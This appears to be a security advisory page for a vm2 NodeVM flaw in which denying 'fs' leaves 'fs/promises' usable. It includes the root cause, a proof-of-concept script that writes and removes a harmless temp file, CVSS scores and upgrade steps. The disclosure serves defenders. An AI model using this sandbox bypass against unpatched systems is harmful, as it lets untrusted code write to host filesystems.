GHSA-6rh5-qq4q-97xh CVE-2026-92958
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
- Severity
- 8.4 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.38%
- Chance of exploitation in the next 30 days. Higher than 32.53% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
3.11.7- Upgrade vm2 to this version or later
Description
Summary
NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.
With the following configuration:
require: {
builtin: ['*', '-fs', '-child_process']
}
require('fs') and require('child_process') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.
Affected Mode
NodeVM.
Affected Configuration
new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '*' builtin wildcard.
Affected Files / Functions
lib/builtin.jsDANGEROUS_BUILTINSBUILTIN_MODULESmakeBuiltinsFromLegacyOptionsaddDefaultBuiltin
lib/resolver.jsResolver.resolveResolver.loadBuiltinModule
lib/setup-node-sandbox.jsrequireImpl
Root Cause
lib/builtin.js builds BUILTIN_MODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.
There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').
Security Boundary Crossed
Sandboxed code can perform host filesystem writes even though the embedder denied fs.
Impact
Confirmed impact:
- Host file creation
- Host file write
The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.
Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');
const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;
try {
fs.unlinkSync(proofPath);
} catch (_) {}
(async () => {
const vm = new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
const result = await vm.run(`
module.exports = (async () => {
const r = {};
try {
require('fs');
r.fsLoaded = true;
} catch (e) {
r.fsBlocked = true;
r.fsError = e && e.code;
}
try {
require('child_process');
r.childProcessLoaded = true;
} catch (e) {
r.childProcessBlocked = true;
r.childProcessError = e && e.code;
}
const fsp = require('fs/promises');
r.fsPromisesLoaded = true;
r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();
await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
r.wrote = true;
return r;
})();
`);
const exists = fs.existsSync(proofPath);
const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;
console.log(JSON.stringify({
result,
hostFileExists: exists,
hostFileContent: content
}, null, 2));
try {
fs.unlinkSync(proofPath);
} catch (_) {}
})().catch(error => {
try {
fs.unlinkSync(proofPath);
} catch (_) {}
console.error(error);
process.exitCode = 1;
});
Observed result:
{
"result": {
"fsBlocked": true,
"fsError": "ENOTFOUND",
"childProcessBlocked": true,
"childProcessError": "ENOTFOUND",
"fsPromisesLoaded": true,
"wrote": true
},
"hostFileExists": true,
"hostFileContent": "vm2-fs-promises-marker-<pid>"
}
Additional local checks:
require('node:fs/promises')also loads and can write the proof file.- Adding
-fs/promisesblocksrequire('fs/promises'). - Adding only
-node:fs/promisesdoes not blockrequire('fs/promises').
Expected Secure Behavior
If an embedder denies fs, NodeVM should deny the whole filesystem builtin family, including:
fsfs/promisesnode:fsnode:fs/promises
Negative entries with and without node: should be normalized consistently.
Suggested Fix
-
Normalize builtin names before allow/deny checks:
- Strip
node:for comparison. - Use one canonical key form internally.
- Strip
-
Treat negative builtin entries as family denials where appropriate:
-fsshould blockfs/promises.-inspectoralready conceptually blocksinspector/promises; apply the same family logic to user-provided negative entries.
-
Add regression tests for:
builtin: ['*', '-fs']blocksfs/promises.builtin: ['*', '-fs']blocksnode:fs/promises.-node:fs/promisesand-fs/promisesbehave equivalently.- Explicit allowlist behavior is documented and covered.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| vm2 | < 3.11.7 |
3.11.7 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
vm2 npm → 3.11.7
- npm
npm install vm2@3.11.7- yarn
yarn add vm2@3.11.7- pnpm
pnpm add vm2@3.11.7
Severity breakdown
CVSS 4.0 8.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- Low
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- Low
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 8.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Weakness
CWE-269: Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system.
- Architecture and Design: Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
CWE-284: Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-489w-w794-jq94 vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary | High | Also affects vm2 |
| GHSA-2v2p-6j97-cjg9 vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process | Medium | Also affects vm2 |
| GHSA-5h3f-q97h-ccvc vm2: NodeVM custom resolution bypasses external path boundaries | Critical | Also affects vm2 |
| GHSA-pq68-rvw4-xp4r vm2 contains a sandbox escape vulnerability | Critical | Also affects vm2 |
| GHSA-f8gf-w286-fmq2 vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM | High | Also affects vm2 |
| GHSA-8686-vhfx-7r3j vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process | Critical | Also affects vm2 |
| GHSA-wjwh-qqvp-g4p4 vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass | Critical | Also affects vm2 |
| GHSA-88hf-g992-jg85 vm2: Sandbox Escape (NodeVM) | Critical | Also affects vm2 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor